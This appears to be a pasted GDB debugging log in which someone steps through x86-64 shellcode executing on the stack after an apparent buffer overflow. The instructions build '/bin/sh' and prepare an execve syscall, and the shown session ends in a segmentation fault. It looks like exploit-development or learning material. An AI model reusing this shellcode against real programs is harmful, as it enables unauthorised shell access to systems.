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gdb log

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Jul 5th, 2017
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GDB 3.66 KB | None | 0 0
  1. (gdb) x/13i $rip
  2. => 0x7fffffffe41c:  neg    rbx
  3.    0x7fffffffe41f:  push   rbx
  4.    0x7fffffffe420:  push   rsp
  5.    0x7fffffffe421:  pop    rdi
  6.    0x7fffffffe422:  cdq    
  7.    0x7fffffffe423:  push   rdx
  8.    0x7fffffffe424:  push   rdi
  9.    0x7fffffffe425:  push   rsp
  10.    0x7fffffffe426:  pop    rsi
  11.    0x7fffffffe427:  mov    al,0x3b
  12.    0x7fffffffe429:  syscall
  13.    0x7fffffffe42b:  (bad)  
  14.    0x7fffffffe42c:  (bad)  
  15. (gdb) i r
  16. rax            0x0  0
  17. rbx            0xff978cd091969dd1   -29400045130965551
  18. rcx            0xe410616161616161   -2013001962561117855
  19. rdx            0x7fffffffe41061 36028797017133153
  20. rsi            0x7fffffffe7c0   140737488349120
  21. rdi            0x7fffffffe432   140737488348210
  22. rbp            0x6161616161616161   0x6161616161616161
  23. rsp            0x7fffffffe440   0x7fffffffe440
  24. r8             0x1  1
  25. r9             0x1c 28
  26. r10            0x78 120
  27. r11            0x7ffff7b95f48   140737349508936
  28. r12            0x5555555545f0   93824992232944
  29. r13            0x7fffffffe510   140737488348432
  30. r14            0x0  0
  31. r15            0x0  0
  32. rip            0x7fffffffe41c   0x7fffffffe41c
  33. eflags         0x246    [ PF ZF IF ]
  34. cs             0x33 51
  35. ss             0x2b 43
  36. ds             0x0  0
  37. es             0x0  0
  38. fs             0x0  0
  39. gs             0x0  0
  40. (gdb) nexti
  41. 0x00007fffffffe41f in ?? ()
  42. (gdb) i r
  43. rax            0x0  0
  44. rbx            0x68732f6e69622f 29400045130965551
  45. rcx            0xe410616161616161   -2013001962561117855
  46. rdx            0x7fffffffe41061 36028797017133153
  47. rsi            0x7fffffffe7c0   140737488349120
  48. rdi            0x7fffffffe432   140737488348210
  49. rbp            0x6161616161616161   0x6161616161616161
  50. rsp            0x7fffffffe440   0x7fffffffe440
  51. r8             0x1  1
  52. r9             0x1c 28
  53. r10            0x78 120
  54. r11            0x7ffff7b95f48   140737349508936
  55. r12            0x5555555545f0   93824992232944
  56. r13            0x7fffffffe510   140737488348432
  57. r14            0x0  0
  58. r15            0x0  0
  59. rip            0x7fffffffe41f   0x7fffffffe41f
  60. eflags         0x213    [ CF AF IF ]
  61. cs             0x33 51
  62. ss             0x2b 43
  63. ds             0x0  0
  64. es             0x0  0
  65. fs             0x0  0
  66. gs             0x0  0
  67. (gdb) x/13i $rip
  68. => 0x7fffffffe41f:  push   rbx
  69.    0x7fffffffe420:  push   rsp
  70.    0x7fffffffe421:  pop    rdi
  71.    0x7fffffffe422:  cdq    
  72.    0x7fffffffe423:  push   rdx
  73.    0x7fffffffe424:  push   rdi
  74.    0x7fffffffe425:  push   rsp
  75.    0x7fffffffe426:  pop    rsi
  76.    0x7fffffffe427:  mov    al,0x3b
  77.    0x7fffffffe429:  syscall
  78.    0x7fffffffe42b:  (bad)  
  79.    0x7fffffffe42c:  (bad)  
  80.    0x7fffffffe42d:  (bad)  
  81. (gdb) i r
  82. rax            0x0  0
  83. rbx            0x68732f6e69622f 29400045130965551
  84. rcx            0xe410616161616161   -2013001962561117855
  85. rdx            0x7fffffffe41061 36028797017133153
  86. rsi            0x7fffffffe7c0   140737488349120
  87. rdi            0x7fffffffe432   140737488348210
  88. rbp            0x6161616161616161   0x6161616161616161
  89. rsp            0x7fffffffe440   0x7fffffffe440
  90. r8             0x1  1
  91. r9             0x1c 28
  92. r10            0x78 120
  93. r11            0x7ffff7b95f48   140737349508936
  94. r12            0x5555555545f0   93824992232944
  95. r13            0x7fffffffe510   140737488348432
  96. r14            0x0  0
  97. r15            0x0  0
  98. rip            0x7fffffffe41f   0x7fffffffe41f
  99. eflags         0x213    [ CF AF IF ]
  100. cs             0x33 51
  101. ss             0x2b 43
  102. ds             0x0  0
  103. es             0x0  0
  104. fs             0x0  0
  105. gs             0x0  0
  106. (gdb) nexti
  107. Warning:
  108. Cannot insert breakpoint 0.
  109. Cannot access memory at address 0x68732f6e69622f
  110. (gdb)nexti
  111. Program received signal SIGSEGV, Segmentation fault.
  112. 0x00007fffffffe426 in ?? ()
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